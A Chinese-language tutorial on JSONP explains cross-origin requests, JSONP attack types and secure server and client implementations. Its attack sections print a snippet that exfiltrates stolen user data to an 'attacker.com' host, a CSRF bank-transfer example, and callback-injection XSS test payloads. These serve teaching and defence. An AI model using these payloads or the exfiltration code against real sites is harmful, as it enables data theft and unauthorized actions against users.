1. JSONP的本质与工作原理
JSONP（JSON with Padding）是一种在Web开发中用于解决跨域数据请求问题的技术方案。它的核心思想是利用HTML中<script>标签不受同源策略限制的特性来实现跨域通信。
1.1 同源策略的限制与突破
同源策略（Same-Origin Policy）是浏览器实施的重要安全机制，它限制了一个源的文档或脚本如何与另一个源的资源进行交互。具体表现为：
- 禁止读取非同源网页的Cookie、LocalStorage等
- 禁止获取非同源网页的DOM元素
- 限制XMLHttpRequest向非同源地址发起请求
注意：同源是指协议、域名、端口三者完全相同。例如
https://example.com和https://api.example.com就属于不同源。
JSONP巧妙地绕过了这些限制，其工作原理是：
- 客户端动态创建一个
<script>标签 - 将需要请求的URL作为
src属性，并附加回调函数名作为参数 - 服务器返回的不是纯JSON，而是用指定回调函数包裹的JSON数据
- 浏览器执行返回的JavaScript代码，触发预先定义的回调函数
1.2 典型JSONP请求流程解析
一个完整的JSONP交互过程如下：
// 客户端代码 function handleResponse(data) { console.log('Received:', data); } const script = document.createElement('script'); script.src = 'https://api.example.com/data?callback=handleResponse'; document.body.appendChild(script);服务器响应：
handleResponse({ "name": "John Doe", "age": 30, "city": "New York" });当这段脚本加载执行时，handleResponse函数会被自动调用，并传入服务器返回的数据对象。
1.3 JSONP与CORS的对比分析
虽然现代Web开发中更推荐使用CORS（跨域资源共享），但理解两者的差异对开发者很有帮助：
| 特性 | JSONP | CORS |
|---|---|---|
| 支持方法 | 仅GET | 所有HTTP方法 |
| 数据格式 | JavaScript代码 | 纯JSON/XML |
| 错误处理 | 困难 | 完善的错误响应机制 |
| 安全性 | 较低 | 较高 |
| 浏览器支持 | 所有浏览器 | IE10+及其他现代浏览器 |
| 服务器改造 | 需要支持回调函数包装 | 需要设置响应头 |
在实际项目中，JSONP通常用于：
- 需要支持老旧浏览器的场景
- 快速原型开发
- 对接不支持CORS的第三方API
2. JSONP的安全隐患与攻击面
2.1 常见的JSONP漏洞类型
JSONP虽然解决了跨域问题，但带来了显著的安全风险：
XSS攻击风险：
- 恶意服务器可能返回包含攻击代码的响应
- 例如：
callbackFunction("");alert('XSS');//")
CSRF漏洞：
- 攻击者可以诱导用户访问恶意页面
- 该页面通过JSONP获取敏感用户数据
回调函数注入：
- 未正确验证回调函数名可能导致代码注入
- 如允许使用
alert(1);//作为回调函数名
敏感数据泄露：
- 缺乏访问控制导致未授权数据访问
- 可能泄露用户隐私信息
2.2 真实案例分析
2014年某大型社交平台的JSONP漏洞：
- 攻击者发现平台API支持JSONP调用
- 未对回调函数名进行严格过滤
- 构造恶意页面窃取用户登录态
- 最终导致数百万用户数据泄露
漏洞利用代码示例：
// 恶意页面代码 function stealData(data) { // 将窃取的数据发送到攻击者服务器 new Image().src = 'http://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(data)); } const script = document.createElement('script'); script.src = 'https://victim.com/api/userinfo?callback=stealData'; document.body.appendChild(script);2.3 漏洞利用的技术细节
攻击者通常会采用以下技术手段：
回调函数名注入：
// 使用非法字符作为回调函数名 https://victim.com/api?callback=alert(1);//DOM型XSS组合攻击：
// 利用返回的JSONP数据动态生成HTML function callback(data) { document.getElementById('content').innerHTML = data.userInput; // 如果data.userInput包含恶意脚本则会被执行 }跨站请求伪造：
<!-- 诱导用户点击的恶意链接 --> <a href="javascript:exploitJsonp()">点击领取奖品</a> <script> function exploitJsonp() { const script = document.createElement('script'); script.src = 'https://bank.com/transfer?to=attacker&amount=1000&callback=empty'; document.body.appendChild(script); } </script>
3. 安全实现JSONP的最佳实践
3.1 服务器端防护措施
严格验证回调函数名：
- 只允许字母、数字和下划线
- 限制长度（通常不超过50字符）
- 示例代码（Node.js）：
function sanitizeCallback(callback) { return /^[a-zA-Z0-9_]+$/.test(callback) ? callback : 'defaultCallback'; }
设置Content-Type头：
- 确保返回正确的
application/javascript类型 - 防止浏览器误解析为其他MIME类型
- 确保返回正确的
实施CSRF防护：
- 检查Referer头（注意其可伪造性）
- 要求携带一次性token
输出编码：
- 对返回数据进行HTML实体编码
- 防止XSS注入
3.2 客户端安全实践
使用可信的第三方库：
- 如jQuery的
$.ajax（设置dataType: 'jsonp'） - 这些库已经内置了基本的安全检查
- 如jQuery的
限制使用场景：
- 仅用于获取公开数据
- 不传输敏感信息
设置超时机制：
const timeout = setTimeout(() => { window.jsonpCallback = function() {}; script.parentNode.removeChild(script); }, 5000); window.jsonpCallback = function(data) { clearTimeout(timeout); // 处理数据 };沙箱化处理：
- 在iframe中执行JSONP请求
- 使用
postMessage与主页面通信
3.3 现代替代方案推荐
CORS（跨域资源共享）：
- 更安全、更灵活的跨域解决方案
- 需要服务器设置
Access-Control-Allow-Origin等响应头
WebSocket：
- 全双工通信通道
- 适用于实时性要求高的场景
代理服务器：
- 通过同源的后端服务转发请求
- 完全避免浏览器端的跨域问题
postMessage API：
- 安全的跨文档通信机制
- 需要通信双方协同实现
4. 漏洞检测与防御实战
4.1 JSONP漏洞自动化检测
使用工具扫描：
- Burp Suite：检查API端点是否支持JSONP
- OWASP ZAP：自动化测试回调参数注入
手动测试步骤：
- 尝试修改
callback参数为特殊字符 - 测试非常规HTTP方法（POST/PUT等）
- 检查响应头安全性设置
- 尝试修改
常见测试payload：
/api?callback=alert(1)// /api?callback=console.log('xss') /api?callback=function(){alert(1)}()
4.2 防御代码实战示例
安全的服务器端实现（Node.js）：
const http = require('http'); const url = require('url'); const server = http.createServer((req, res) => { const parsedUrl = url.parse(req.url, true); const callback = parsedUrl.query.callback || 'callback'; // 严格验证回调函数名 if (!/^[a-zA-Z][a-zA-Z0-9_]*$/.test(callback)) { res.writeHead(400); return res.end('Invalid callback name'); } // 验证Referer（可选） const referer = req.headers.referer; if (referer && !referer.startsWith('https://trusted-domain.com')) { res.writeHead(403); return res.end('Forbidden'); } // 设置安全头部 res.setHeader('Content-Type', 'application/javascript'); res.setHeader('X-Content-Type-Options', 'nosniff'); // 安全的数据处理 const data = JSON.stringify({ message: 'Hello, World!' }); const response = `/**/${callback}(${data});`; res.writeHead(200); res.end(response); }); server.listen(3000);客户端防御措施：
function safeJsonpRequest(url, callback) { // 创建随机回调函数名 const callbackName = 'jsonp_' + Math.random().toString(36).substr(2); // 设置超时 const timeout = setTimeout(() => { cleanup(); callback(new Error('Request timeout'), null); }, 5000); // 清理函数 function cleanup() { clearTimeout(timeout); delete window[callbackName]; if (script.parentNode) { script.parentNode.removeChild(script); } } // 定义回调 window[callbackName] = function(data) { cleanup(); callback(null, data); }; // 创建script标签 const script = document.createElement('script'); script.src = url + (url.indexOf('?') >= 0 ? '&' : '?') + 'callback=' + encodeURIComponent(callbackName); // 错误处理 script.onerror = function() { cleanup(); callback(new Error('Request failed'), null); }; document.body.appendChild(script); } // 使用示例 safeJsonpRequest('https://api.example.com/data', function(err, data) { if (err) { console.error('Error:', err); } else { console.log('Data:', data); } });4.3 企业级安全方案
对于大型企业应用，建议采用以下架构：
API网关层防护：
- 统一校验所有JSONP请求
- 实施速率限制
- 记录完整访问日志
安全开发规范：
- 禁止直接使用用户输入作为回调函数名
- 强制代码审查JSONP相关实现
- 定期安全培训
监控与应急响应：
- 实时监控异常JSONP请求
- 建立漏洞应急响应流程
- 自动化封禁恶意IP
逐步迁移计划：
- 将现有JSONP接口迁移到CORS
- 提供兼容层支持老版本客户端
- 设置淘汰时间表
